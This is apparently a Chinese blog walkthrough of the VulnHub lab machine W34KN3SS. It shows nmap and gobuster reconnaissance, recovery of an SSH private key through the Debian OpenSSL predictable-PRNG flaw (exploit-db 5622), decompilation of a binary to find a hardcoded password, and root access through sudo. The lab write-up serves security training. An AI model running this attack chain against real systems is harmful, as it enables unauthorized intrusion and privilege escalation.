vulnhub(10):W34KN3SS(很小的信息都不能放过)

此靶机的目的是让你提高对小型信息的敏感度,让你更注重细节

端口

nmap主机发现
nmap -sn 192.168.12.0/24
​
Nmap scan report for 192.168.12.146
Host is up (0.00020s latency).
​
146是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.12.146 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE                                                                              
22/tcp    open  ssh                                                                
80/tcp    open  http                                                             
443/tcp   open  https                                                     
 
发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.89.116详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 de89a2de45e7d63defe9bdb4b668ca6d (RSA)
|   256 1d984adba2e0cc683893d0522a1aaa96 (ECDSA)
|_  256 3d8a6b920dba37829ec32718b601cd98 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| ssl-cert: Subject: commonName=weakness.jth/organizationName=weakness.jth/stateOrProvinceName=Jordan/countryName=jo
| Not valid before: 2018-05-05T11:12:54
|_Not valid after:  2019-05-05T11:12:54
| tls-alpn: 
|_  http/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
​
​
分析:
22 ssh端口开放
80 web端口开放
443 web端口开放
分别访问80和443端口发现是apache默认初始页面,推测需要给ip指定host头才能访问服务
Apache2 Ubuntu Default Page
​
有些时候仅有一个ip访问不了服务,但是给它绑定一个host头,他就能访问服务,这是因为web服务器会判断这个host头从而定位到同一ip的不同服务

立足

首先给ip绑定host头:
vim /etc/hosts
192.168.12.146  weakness.jth
80端口

可以看到页面画了一个白兔子,-n30的意思推测是白色兔子作者的用户名
源代码页面没有任何信息,我们二话不说直接扫描目录

gobuster dir -u http://weakness.jth/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash

只有一个扫描结果,但是足够敏感:
/private/

访问:http://weakness.jth/private/,发现敏感信息

wget 下来,文件内容如下:
​
mykey.pub:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster
 
note.txt:
this key was generated by openssl 0.9.8c-1
​
分析:
openssl 0.9.8c-1版本的ssh私钥能被破解出来,这是openssl 0.9.8c-1版本的漏洞
ssh私钥破解
searchsploit  prng
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH                           
​
searchsploit -m 5622
​
根据5622.txt的提示,进行ssh破解
​
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
tar vjxf 5622.tar.bz2        # 将解压出来名rsa的目录
cd rsa
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw2
​
获取到公钥和私钥,密钥对
rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub
rsa/2048/4161de56829de2fe64b9055711f531c1-2537
​
将私钥拷贝出来
cp ./2048/4161de56829de2fe64b9055711f531c1-2537 /tmp/privatekey 
ssh登录
综上我们发现3个用户:
n30
mykey.pub里的root和targetcluster
​
依次尝试,发现n30可以登录
​
ssh n30@192.168.12.146 -i /tmp/privatekey 

提权

信息枚举
ls 一下
发现/home/n30目录下有code  user.txt
​
user.txt肯定是flag
code是一个可执行文件
​
cat code,发现可能是python源代码被编译后的pyc文件
​
我们直接丢到python反编译在线工具,看到python源代码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7
​
import os
import socket
import time
import hashlib
print '[+]System Started at : {0}'.format(time.ctime())
print '[+]This binary should generate unique hash for the hardcoded login info'
print '[+]Generating the hash ..'
inf = ''
inf += chr(ord('n'))
inf += chr(ord('3'))
inf += chr(ord('0'))
inf += chr(ord(':'))
inf += chr(ord('d'))
inf += chr(ord('M'))
inf += chr(ord('A'))
inf += chr(ord('S'))
inf += chr(ord('D'))
inf += chr(ord('N'))
inf += chr(ord('B'))
inf += chr(ord('!'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('B'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('3'))
inf += chr(ord('3'))
hashf = hashlib.sha256(inf + time.ctime()).hexdigest()
print '[+]Your new hash is : {0}'.format(hashf)
print '[+]Done'
​
从源代码页面中看到:
n30:dMASDNB!!#B!#!#33
​
那么推测dMASDNB!!#B!#!#33是n30密码
sudo -l:需要n30密码
dMASDNB!!#B!#!#33
​
发现n30可以sudo任何程序:
Matching Defaults entries for n30 on W34KN3SS:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
​
User n30 may run the following commands on W34KN3SS:
    (ALL : ALL) ALL
​
n30@W34KN3SS:~$ sudo /bin/bash
root@W34KN3SS:~# id
uid=0(root) gid=0(root) groups=0(root)
root@W34KN3SS:~# 

获取到root权限直接下班

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值